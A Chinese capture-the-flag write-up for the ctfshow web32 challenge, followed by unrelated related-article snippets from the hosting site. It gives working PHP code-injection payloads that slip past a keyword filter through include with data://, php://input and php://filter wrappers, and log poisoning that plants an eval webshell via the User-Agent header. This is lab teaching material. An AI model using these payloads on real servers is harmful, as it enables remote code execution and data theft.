[ctfshow web入门] web32
前置知识
协议相关博客:https://blog.csdn.net/m0_73353130/article/details/136212770
include:include "filename"这是最常用的方法,除此之外还可以 include url,被包含的文件会被当做代码执行。
data://: PHP 支持的一种数据流协议,用于将数据直接嵌入到代码中。相关博客:data://协议
data://text/plain:要求按照文本格式将内容嵌入代码中,使用方法:data://text/plain,content
php://input:读取原始的POST数据,只能读一次。详情看这里https://docs.pingcode.com/ask/45614.html
php://filter:过滤器,以一定的规则处理要读写的文件。详情:https://blog.51cto.com/u_16248628/7588596
user-agent:一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
信息收集
更多的过滤,我大概猜测一下每一个过滤的用意
flag:不能直接输入文件名
system:不许使用system函数
php:不许输入flag.php,不能使用<?php ?>
cat:不许执行系统指令cat
sort:系统命令,将文本内容排序后输出,类似cat
shell:不许使用shell_exec
.:不许使用flag.php,不许使用字符拼接,php中可以用.拼接字符串例如 $a="12" $b="34" $a.$b==="1234"
空格:系统命令中多需要空格,例如tac flag.php
':不允许自定义字符串
`(反引号):不允许使用shell命令。`ls` 效果等同于shell_exec('ls')
echo:不允许使用echo打印
;:不允许使用;在代码结尾,这使得函数执行更为困难了
(:不允许使用函数
/i:忽略大小写
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
解题
如果需要使用空格,那么参看 ASCII码表, %09-%0D上只要有一个能够使用,那么就能绕过空格过滤,例如:tac%0aflag.php,推荐使用最常用的%0a
不能使用函数了,因为括号被限制了。连 ` 也被限制了,系统命令也不行了
include是不需要括号的,所以我们可以考虑从include入手。
发现一个好玩的东西:这里为什么一定要加一个函数而不是直接类如?c=$_GET["1"]?>&1=xxx;呢,原因是
例如c=$_GET[1]&1=echo 123;,eval($_GET[c]) ⇒ eval("$_GET[1]") ⇒ "echo 123;",第一次系统自动换算$_GET[c],第二次使用eval解析字符串 "$_GET[1]",得到结果echo 123;
方法1.1
方法1将以协议相关的方法进行尝试
下面语句的意思是
eval($_GET[c]); ⇒ eval("include$_GET[1]") ⇒ include$_GET[1] ⇒ include "data://text/plain,<?php system("tac flag.php") ?>" ⇒ <?php system("tac flag.php") ?>
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php") ?>
其中?>利用了php的机制,当遇到?>时会自动添加一个;,也就是说<?php ehco 123 ?> 和<?php ehco 123; ?>等效。我们利用这个机制绕过;的过滤。
使用$_GET[1]中转一次是因为太多东西被过滤了,非常不方便

方法1.2
下面语句的意思是
eval($_GET[c]); ⇒ eval("include$_GET[1]") ⇒ include$_GET[1] ⇒ include php://input
?c=include$_GET[1]?>&1=php://input
post:
<?php system('ls')?>
在使用google的hackbar时需要注意,使用raw模式,basic模式下后台无法获取到不带=的post数据。
原因:https://github.com/0140454/hackbar/issues/56

方法1.3
这一类方法的主要目的是读取文件,并让<?php标签失效,以文本显示代码
将flag.php以base64加密的方法读取,这会将一串base64显示到页面上,拿去解密即可获取flag
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
类似的,把ascii编码变成utf-16编码
?c=include$_GET[1]?>&1=php://filter/read=convert.iconv.ascii.utf-16/resource=flag.php
方法2
user-agent
之前都是使用过滤器,那么不用过滤器行不行,当然行啊,不行我肯定不写出来了。
我们包含/var/log/nginx/access.log
你问为什么我知道是这个目录
apache日志存放路径:/var/log/apache/access.log
Ngnix日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
没有放这里或者没开启日志,那就用不了

有没有发现这个玩意很熟悉,这不就是user-agent吗
利用原理:每次都会将user-agent写入日志里,如果传入的日志里有恶意代码,也会被写道日志里,但代码此时并不会被运行。由于我们使用了include包含日志文件,日志文件中的<?php ... ?>标签中的代码会被当做代码执行,而其他文本当做普通文本显示。
写一句话木马
<?php eval($_POST[2]) ?>
然后拿蚁剑连接它,之前想要直接用system(“tac flag.php”)的,没反应,只能蚁剑连,原因不详。
蚁剑使用参看[ctfshow web入门] web31

蚁剑连接,接不上url写成http没有s,一句话木马写$_REQUEST或者$_POST,不要用$_GET
url/?c=include$_GET[1]?>&1=/var/log/nginx/access.log
密码:2 因为$_POST[2]

web31 目录 web33
相关文章:
[ctfshow web入门] web32
前置知识 协议相关博客:https://blog.csdn.net/m0_73353130/article/details/136212770 include:include "filename"这是最常用的方法,除此之外还可以 include url,被包含的文件会被当做代码执行。 data://:…...
指针数组 vs 数组指针
一、指针数组:「数组装指针」—— 每个元素都是指针 🔍 核心定义 语法:类型* 数组名[长度]; ([]优先级高于*,先形成数组,元素是指针)本质:一个 数组,数组的每个元素是 …...
鸿蒙开发中的并发与多线程
文章目录 前言异步并发 (Promise和async/await)多线程并发并发能力选择耗时任务并发执行场景常见业务场景 常驻任务并发执行场景常见业务场景 传统共享内存并发业务长时任务并发执行场景常见业务场景 并发任务管理线程间通信同语言线程间通信(ArkTS内)线…...
TCP和UDP的区别是什么?
1. 基本特性: TCP: 面向连接:在数据传输开始前,TCP需要在通信双方建立连接(三次握手)。可靠性:TCP保证数据的可靠传输,通过确认应答、重传机制、数据包顺序等确保数据无误到达。流量控制和拥塞…...
MySQL 函数(入门版)
目录 一、字符串函数 1、常用的字符串函数 2、函数演示 3、具体案例 二、数值函数 1、常用的数值函数 2、函数演示 3、具体案例 三、日期函数 1、常用的日期函数 2、函数演示 3、具体案例 四、流程函数 1、常用的流程函数 2、函数演示 3、具体案例 在MySQL中&a…...
Simulink中Signal Builder在新版中找不到怎么办
在较新的MATLAB版本中,新版Simulink中的Signal Builder用Signal Editor作为替代工具。 signal builder not shown in matlab - MATLAB Answers - MATLAB Central signalBuilderToSignalEditor 1.打开上面第二个链接 2.点击拷贝 3.然后在命令行中粘贴 4.然后就会…...
【补题】P10424 [蓝桥杯 2024 省 B] 好数(数位dp)
题意: 一个整数如果按从低位到高位的顺序,奇数位(个位、百位、万位……)上的数字是奇数,偶数位(十位、千位、十万位……)上的数字是偶数,我们就称之为“好数”。 给定一个正整数 N…...
SvelteKit 最新中文文档教程(19)—— 最佳实践之身份认证
前言 Svelte,一个语法简洁、入门容易,面向未来的前端框架。 从 Svelte 诞生之初,就备受开发者的喜爱,根据统计,从 2019 年到 2024 年,连续 6 年一直是开发者最感兴趣的前端框架 No.1: Svelte …...
Cursor编程-从入门到精通__0409
早期的Github Copilot 最近更新了,支持Agent编程,字节跳动Trae使用(免费),但成熟程度不如Cursor,Cursor前50次免费 Copilot VS Cursor*** 1,Cursor VSCode 二次开发,IDE级别 2&…...
VSCode、clangd、mingw 配置与使用
1.安装 安装如下软件: VSCodeclangd 扩展mingw-w64 2.配置 配置好 mingw-w64 到用户环境中。 在项目中设置 .clangd 扩展,设置 argument //setting.json"clangd.arguments": ["--query-driverD:\\Development\\Tools\\mingw64\\bin…...
深度学习处理文本(14)
使用Transformer进行序列到序列学习 正是序列到序列学习让Transformer真正大放异彩。与RNN相比,神经注意力使Transformer模型能够处理更长、更复杂的序列。要将英语翻译成西班牙语,你不会一个单词一个单词地阅读英语句子,将其含义保存在记忆中,然后再一个单词一个单词地生…...
核心案例 | 湖南汽车工程职业大学无人机操控与编队技术实验室
核心案例 | 湖南汽车工程职业大学无人机操控与编队技术实验室 为满足当今无人机行业应用需求,推动无人机技术的教育与实践深度融合,北京卓翼智能科技有限公司旗下品牌飞思实验室与湖南汽车工程职业大学强强联手,共同建设无人机操控与编队技术…...
Oracle 查看后台正在执行的 SQL 语句
在 Oracle 数据库中,要查看后台正在执行的 SQL 语句,可以通过查询动态性能视图(Dynamic Performance Views)或使用监控工具来实现。 1. 查询动态性能视图 (1) 查看当前活跃会话及其执行的 SQL 使用 v$session 和 v$sql 视图关联…...
SpringBoot整合MinIO快速入门:实现分布式文件存储与管理
文章目录 一、MinIO是什么?为什么选择它?1.1 什么是MinIO?1.2 核心优势 二、本地快速搭建MinIO服务2.1 Docker一键部署2.2 访问管理界面2.3 创建存储桶(Bucket) 三、SpringBoot集成MinIO客户端3.1 添加Maven依赖3.2 配…...
我的NISP二级之路-03
目录 一.ISMS 二.IP 三.http 四.防火墙 五.文件 解析 解析 六.攻击 解析 解析 七.风险管理工程 八.信息系统安全保护等级 九.我国信息安全保障 一.ISMS 1.文档体系建设是信息安全管理体系(ISMS)建设的直接体现,下列说法不正确的是: A&#…...
Vue框架的Diff算法
以下是关于 Diff 算法 的系统梳理: 一、Diff 算法的核心目标 最小化 DOM 操作:通过虚拟 DOM 对比,找出真实 DOM 的最小变更集高效节点复用:尽可能复用相同节点,减少创建/销毁开销顺序优化处理:优先处理高频变更场景(如列表尾部追加)保证渲染正确性:正确处理组件状态和…...
Oracle 表空间高水位收缩全攻略
1. 概述 本文档是针对某个特定用户表空间收缩的文档,实际操作要结合生产库具体情况。主要包括以下几个流程: 收集当前数据库相关信息降低数据库表高水位线Resize 收缩数据文件 具体细节详见以下章节。 2. 时间规划 操作类型预估时间实际时间数据库信…...
ESModule和CommonJS在Node中的区别
ESModule console.log(require);//>errorconsole.log(module);//>errorconsole.log(exports);//>errorconsole.log(__filename);//>errorconsole.log(__dirname);//>error全部报错commonjs console.log(require);console.log(module);console.log(exports);co…...
floyd模板
B3647 【模板】Floyd - 洛谷 f l o y d floyd floyd 模板 对于 f l o y d floyd floyd 算法来说时间复杂度为 O ( n 3 ) O(n^3) O(n3) ,不如跑 n n n 遍 h e a p _ d i j k s t r a heap\_dijkstra heap_dijkstra 算法 题目大意: 给出一张由 n n …...
力扣刷题-热题100题-第34题(c++、python)
23. 合并 K 个升序链表 - 力扣(LeetCode)https://leetcode.cn/problems/merge-k-sorted-lists/?envTypestudy-plan-v2&envIdtop-100-liked 顺序合并 合并两个有序链表作为子函数,创建一个空链表,然后对含有多个链表的数组进…...
括号匹配问题--栈
括号匹配问题 栈的应用代码概览栈操作函数详解1.初始化栈(stackInit)2.向栈中压入元素(stackpush)3.获取栈顶元素(stacktop)4.弹出栈顶元素(stackpop)5.销毁栈(stackdest…...
原生SSE实现AI智能问答+Vue3前端打字机流效果
实现流程: 1.用户点击按钮从右侧展开抽屉(drawer),打开模拟对话框 2.用户输入问题,点击提问按钮,创建一个SSE实例请求后端数据,由于SSE是单向流,所以每提一个问题都需要先把之前的实…...
LLC工作模态详解
1以半桥LLC谐振变换器为例,主开关Q1、Q2构成半桥结构,其驱动信号为固定占空比50%的互补信号,并且在上下桥臂之间应有死区时间。 谐振电感Ls、谐振电感Cs和变压器励磁电感Lm共同构成谐振槽路,具有两个谐振频率: 谐振电…...
线代第三课:n阶行列式
引言 行标取自然排列 不同行不同列的3个元素相乘 列标取排列的所有可能 列标排列的逆序数的奇偶性决定符号,- n阶行列式 第一种:按行展开 (1) 行标取自然排列 (2) 列标取排列的所有可能 (PS:可以理解为随意取) (3) 从…...
机器学习的一百个概念(10)假阳性率
前言 本文隶属于专栏《机器学习的一百个概念》,该专栏为笔者原创,引用请注明来源,不足和错误之处请在评论区帮忙指出,谢谢! 本专栏目录结构和参考文献请见[《机器学习的一百个概念》 ima 知识库 知识库广场搜索: 知识库创建人机器学习@Shockang机器学习数学基础@Shocka…...
GitHub 克隆/下载失败的解决方案
🚀 GitHub 下载/克隆失败?一招搞定代理配置与回滚! 在国内使用 Git 操作 GitHub 时,经常会遇到以下问题: ❌ 下载失败、超时 ❌ Failed to connect to github.com port 443 ❌ SSL certificate problem 本文将详细讲解…...
pulsar proxy详解
什么是 Pulsar Proxy? Pulsar Proxy 是 Apache Pulsar 中的一个可选组件,作用是作为客户端与 Pulsar Brokers 之间的中间网关层。它并不是 Pulsar 核心功能必须的部分,但在特定场景下(如复杂的网络环境、安全性需求或动态集群管理…...
C++ Socket优化实战:提升网络应用的性能与效率
🧑 博主简介:CSDN博客专家、CSDN平台优质创作者,高级开发工程师,数学专业,拥有高级工程师证书;擅长C/C、C#等开发语言,熟悉Java常用开发技术,能熟练应用常用数据库SQL server,Oracle…...
STM32单片机入门学习——第30节: [9-6] FlyMcu串口下载STLINK Utility
写这个文章是用来学习的,记录一下我的学习过程。希望我能一直坚持下去,我只是一个小白,只是想好好学习,我知道这会很难,但我还是想去做! 本文写于:2025.04.09 STM32开发板学习——第30节: [9-6] FlyMcu串口下载&STLINK Utility 前言开发…...
Qt容器类在元对象系统中使用
解释 “QVector没有被注册到Qt的元对象系统中”这句话的意思是:QVector<double>这种数据类型没有被Qt的元对象系统(Meta-Object System)识别和管理。Qt的元对象系统是Qt框架的核心部分,它提供了信号与槽机制、动态属性系统…...
